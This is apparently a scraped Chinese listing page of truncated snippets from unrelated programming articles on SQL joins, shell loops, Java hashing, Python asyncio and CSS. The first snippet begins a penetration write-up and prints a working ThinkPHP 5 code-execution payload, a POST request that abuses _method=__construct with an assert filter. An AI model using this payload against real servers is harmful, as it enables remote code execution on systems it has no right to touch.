出来
记一次有趣的thinkphp代码执行
记⼀次有趣的thinkphp代码执⾏0x00 前⾔朋友之前给了个站,拿了很久终于拿下,简单记录⼀下。0x01 基础信息漏洞点:tp 5 method 代码执⾏,payload如下POST /?s=captcha_method=__construct&method=get&filter[]=assert&server[]=1&get[]=1⽆回显,根据payload...
使用com.sun.imageio.plugins.png.PNGMetadata读取图片的元数据...
使⽤com.sun.imageio.plugins.png.PNGMetadata读取图⽚的元数据所谓图⽚元数据,就是除了我们⾁眼看到的图⽚内容外,隐藏在这些内容背后的⼀些技术数据。本⽂介绍如何使⽤Java代码将⼀张图⽚的隐藏信息读取出来。⾸先不需要下载任何额外的Java库,⽤JDK⾃带的库就能⼯作。import ByteArrayInputStream;import File;import Fi...
javasha1加密与phpsha1加密结果不一致
javasha1加密与phpsha1加密结果不⼀致java sha1加密与php sha1加密结果不⼀致java sha1加密得出来的结果和php sha1 结果不⼀致解决办法:java calss类:import java.util.logging.Level;import java.util.logging.Logger;import java.security.MessageDigest;/...
javaaesCBC的填充方式发现
javaaesCBC的填充⽅式发现如下的java代码,⼿动对block进⾏填充后,使其为16的整数倍后,加密的时候竟然强⾏再填充了16位,我在尝试⽤golang实现这段加密时,反复修改了很久,发现golang版的总是⽐java加密出来并base64的结果少了20位,于是把各个步骤中间结果打出来,发现并没有什么不同,然后尝试在golang后⾯强⾏追加了16个填充,那么填充什么呢?没错,我就是从0x0...
linux循环文件每一行数据,利用Shell脚本循环读取文件中每一行的方法详解...
linux循环⽂件每⼀⾏数据,利⽤Shell脚本循环读取⽂件中每⼀⾏的⽅法详解前⾔本⽂主要给⼤家介绍了关于使⽤Shell脚本循环读取⽂件每⼀⾏的相关内容,分享出来供⼤家参考学习,下⾯话不多说了,来⼀起看看详细的介绍吧。⼀、使⽤for循环for line in `cat filename`doecho $linedone或者for line in $(cat filename)doecho $lin...
linux读取每一行,利用Shell脚本循环读取文件中每一行的方法详解_百度文 ...
linux读取每⼀⾏,利⽤Shell脚本循环读取⽂件中每⼀⾏的⽅法详解前⾔本⽂主要给⼤家介绍了关于使⽤Shell脚本循环读取⽂件每⼀⾏的相关内容,分享出来供⼤家参考学习,下⾯话不多说了,来⼀起看看详细的介绍吧。⼀、使⽤for循环for line in `cat filename`doecho $linelinux循环执行命令脚本done或者for line in $(cat filename)do...
matlab_plot实时画点
matlab_plot实时画点对于plot画线暂时总结出来⼏点需要注意的:⼀、画两点之间的连线绘图的结果是坐标( 1 , 5 )--> (2 , 8 );所以在画连续的动态图的时候,需要正确标注好每次坐标 。对多个点,⽐如在矩阵中的多组数据,可以⽤不同的表⽰来展现⾃⼰想要的结果。可以看见 x 的所有数据对按⾏连在⼀条线上对矩阵进⾏转置,结果为 (1,2)--> (10,20)连线⼆、画...
js混淆代码还原
js混淆代码还原js混淆代码还原 - js反混淆:利⽤js进⾏赋值实现案例测试代码如下:eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Str...
JS不可逆加密,高级JavaScript加密
JS不可逆加密,⾼级JavaScript加密(function(w, d) {w.info = "这是⼀个⼀系列js操作。";d.adinfo = " “JS加密” ,保卫你的 js。";d.warning = "如果您的JS⾥嵌套了PHP,JSP标签,等等其他⾮JavaScript的代码,请提取出来再加密。这个⼯具不能加密php、jsp等模版内容";})(window, docume...
MySQLinnerjoin和leftjoin的区别
MySQLinnerjoin和leftjoin的区别看了⽹上⼀些讲的感觉还是云⾥雾⾥,不如⾃⼰实操⼀下。sql语句,left pe_id,isad.activity_id,isad.pe_name, f.statusfrominspection_store_activity_detail isadinner join inspec...
sql中join与left-join图解区别
sql中join与left-join图解区别t1表内容如下:t2表内容如下:下⾯来简述join和left join/right join的区别:inner joinselect * from t1 inner join t2 on t1.id = t2.id;公共部分的数据才会被查询出来;left joinselect * from t1 left join t2 on t1.id = t2.id...
MySql别犯糊涂了!LEFTJOIN的ON后接上筛选条件,多个条件会出事!
MySql别犯糊涂了!LEFTJOIN的ON后接上筛选条件,多个条件会出事!很多时候我们在使⽤ LEFT JOIN ...... ON .... 时, 除了连接两个表的字段条件外,我们往往还需要⼀些等值或者范围 等等类似的数据筛选条件。那么对于初学者,往往会犯⼀个错误,就是想当然地认为, ON 后⾯的条件是逐⼀执⾏的,因为没有了解清楚 ON 后⾯接条件的规则。是个什么样的...
SpringBoot集成Lucence
SpringBoot集成LucenceLucence 和全⽂检索Lucene 是 Apache Jakarta 家族中的⼀个开源项⽬,它不是⼀个完整的搜索应⽤程序,但可为我们的应⽤程序提供索引和搜索功能。Lucene 也是⽬前流⾏的基于 Java 的开源全⽂检索⼯具包。多应⽤程序基于 Lucene 实现了搜索功能,⽐如 Eclipse 帮助系统的搜索功能。Lucene 能为⽂本类型的数据建⽴索引,...
SQL脚本文件批量执行的小工具SQLScriptRunner【更新安装包】
SQL脚本⽂件批量执⾏的⼩⼯具SQLScriptRunner【更新安装包】有时候要批量执⾏⼀些脚本⽂件⼀个⼀个复制到SQL Query Anylazer ⼜太⿇烦这个脚本⼯具很简单,就是读取脚本⽂件所在的⽬录,执⾏脚本初始要输⼊数据库服务器,数据库,具有执⾏权限的⽤户名密码,然后选择脚本⽂件所在⽬录,然后点执⾏如果有错误,所有的脚本都将回滚,错误的地⽅会有提⽰,您可以检查错误.这个只是⾃⼰在开发过...
excel表格中的0不显示的函数
在日常使用 Excel 表格的过程中,我们经常会遇到一些数字显示的问题,特别是当某个单元格中的数值为0时,有时候它并不会显示出来。这时候,我们就需要借助一些特定的函数来处理这个问题。让我们来了解一下,在 Excel 表格中,0不显示的函数是什么意思。当我们在一个单元格中输入了0,并且设置了单元格格式为“常规”,那么这个单元格中的0将不会显示出来。这看起来似乎是一个小问题,但在实际应用中却可能会导致...
最新最详细的python中的asyncio的async和await的使用,代码实例
最新最详细的python中的asyncio的async和await的使⽤,代码实例asyncio官⽅⽂档:1:简单的协成体验import asyncioimport timeasync def a():await和async使用方法# 这⾥的await是将主协成挂起,去执⾏其他异步程序或含有"__await__"的对象await asyncio.sleep(2)await b()print("a协...
HTML+CSS导航栏自适应方案
HTML+CSS导航栏⾃适应⽅案css⽂件#header{background-color: #333;padding: 10px 10%;}/* 导航栏按钮 */.btn{display: none;float:right;margin-top: 5px;border: 0;border-radius: 5px;width: 40px;height: 40px;}/* ⽂字Logo */#hea...
androidstudio打印日志语句Log.d()详解
androidstudio打印⽇志语句Log.d()详解Log.d()⽅法内需要传⼊两个参数。1.第⼀个参数时tag,⼀般传⼊类名,⽤于对打印信息进⾏过滤;2.第⼆个参数,是⼀个字符串类型的msg,表⽰你想要打印的内容。输出Log.d()语句的快捷键为:logd+tab键在我们每写⼀条Log.d()语句时,就要传⼊⼀次tag参数,⽽每⼀次的tag参数值基本是⼀样的,这样就会很⿇烦,其实只要我们在类...
简述fdm3d打印工艺过程
简述fdm3d打印工艺过程FDM 3D打印工艺过程简述FDM(Fused Deposition Modeling)是一种常见的3D打印工艺,它通过熔融并挤出热塑性材料,逐层堆叠构建出3D模型。下面简述一下FDM 3D打印工艺的过程。1.建模设计需要使用3D建模软件进行建模设计,将想要打印的物体设计出来。设计时需要考虑到打印材料的特性和打印机的限制,以确保最终打印出来的物体符合要求。2.切片软件处理...
PythonSelenium设置元素等待的三种方式
PythonSelenium设置元素等待的三种⽅式Selenium 设置元素等待的三种⽅式1. sleep 强制等待2. implicitly_wait() 隐性等待3. WebDriverWait()显⽰等待三种⽅式的优缺点1. sleep 强制等待from selenium import webdriverfrom time import sleepdriver = webdriver.Chr...
WebStorm快速开发教程--CSS篇
WebStorm快速开发教程--CSS篇为了追求开发效率,开发过程中选择⼀款⾼性价⽐的编辑器也是很重要的,个⼈喜欢使⽤WebStorm,优点不在赘述,本⽂的重点是使⽤webstorm开发过程中的⼀些快速开发⼩技巧,希望对你有⽤.废话不多说,说正事:平时我们在写CSS样式的时候都是这样的:⽐如要写width:300px,是不是⼀个字⼀个字的敲,嗯,其实还有很便捷的操作:先输⼊w300然后按下tab键...
#x是什么编码以及转换方法(GB2312UNICODE)
#x是什么编码以及转换方法(GB2312UNICODE)常在一些网站源码中看到&#x开头的内容,这是转化成unicode编码后的汉字,我到了一种将这种编码转换成汉字的方法,记录在这里以便有人使用。将下面的代码复制出来保存成html格式,使用浏览器打开就可以使用了。<html><head><title>GB2312 UNICODE转换工具</tit...
C#将Unicode编码转换为汉字字符串的简单方法
unicode汉字C#将Unicode编码转换为汉字字符串的简单⽅法C# 将js中的UNICODE转换为字符串,⽹上的都不⾏,遇到有数字的转不出来,稍稍改了点,OK了!实例如下:/// 将Unicode编码转换为汉字字符串////// Unicode编码字符串/// 汉字字符串public static string ToGB2312(string str){MatchCollection mc...
怎样用css来美化一个html页面
怎样⽤css来美化⼀个html页⾯# 转载请留⾔都知道html写出来的东西是⼀个⽂本内容,很单调。和我们平时刷⽹页看到的内容不⼀样。那普通的⽹页是怎样对html超⽂本进⾏装饰的呢?没错,就是CSS。css的基本语法选择器{样式属性:样式值;样式属性:样式值;样式属性:样式值;}实际效果,例如:div{width:100px;height:100px;html导航源码background:g...
【MySQL】多表查询、分组求和、并对和排序、取topn
【MySQL】多表查询、分组求和、并对和排序、取topn 查漏补缺MySQL的相关知识1. 有⼀个⽤户资⾦流⽔表(如上的sql代码),出流⽔⾦额最多的前10个⽤户:create table tb_user_finance (id bigint primary key auto_increment,uid bigint not null default0comment'⽤户id',money de...
MSSQL中的使用Union查询再排序
MSSQL中的使⽤Union查询再排序先看⼀个Union的查询,sql语句:select no,name,age,address from Stu_Grade1sql中union多表合并unionselect no,name,age,addr from Stu_Grade2执⾏查询语句,查询出来的顺序可能不是我们想要的,那么把查询出的结果作为⼀个结果集再次使⽤,如:select * from (s...
SQL将两张包含相同字段和不同字段的表数据合并成一张表
SQL将两张包含相同字段和不同字段的表数据合并成⼀张表此为SQL案例:将两张具备相同字段,有⼀部分字段不相同的两张表获取查询结果为整合之后的。两张表table1table2我想要将两者的数据进⾏合并达到如下的效果:这⾥限制条件有两个分别是date,code 两个,只有当两者都对应上才能达到我想要的效果。于是我绞尽脑汁也想不出来该如何去解决问题。于是乎,我⼜重新回到了起点。(我跑去看菜鸟教程了)可能...
sqlalchemyunion联合查询
sqlalchemyunion联合查询在最近的⼯作中遇到⼀个问题,要将两个字段相似的表⾥的数据统⼀起来展⽰在⼀个统计页⾯中。如果是单纯的展⽰数据那很简单,两个表查出来之后组合⼀下就完事了,但是有坑的地⽅就是分页和按照时间搜索,这两个功能决定了不可能单独查询两张表。在同事的建议下,使⽤了union的联合查询,最终完成这个功能。做⼀个简单的demo,记录下这个功能。数据库和sqlalchemy安装请参...
[SQL]updateselect查询的结果集
[SQL]updateselect查询的结果集UPDATE t1 SET t1.BuilderName='ZhangSan'from(SELECT * from tCardList_MadeWHERE BuilderName='123') AS t1sql中update什么意思SQL update select语句最常⽤的update语法是:UPDATE TABLE_NAMESET column_...
SQL中的使用,关联查询后进行更新数据
SQL中的使⽤,关联查询后进⾏更新数据最常⽤的update语法是: UPDATE <table_name> SET <column_name1> = <value>,SET <column_name2> = <value> 如果我的更新值Value是从⼀条select语句拿出来,⽽且有很多列的话,⽤这种...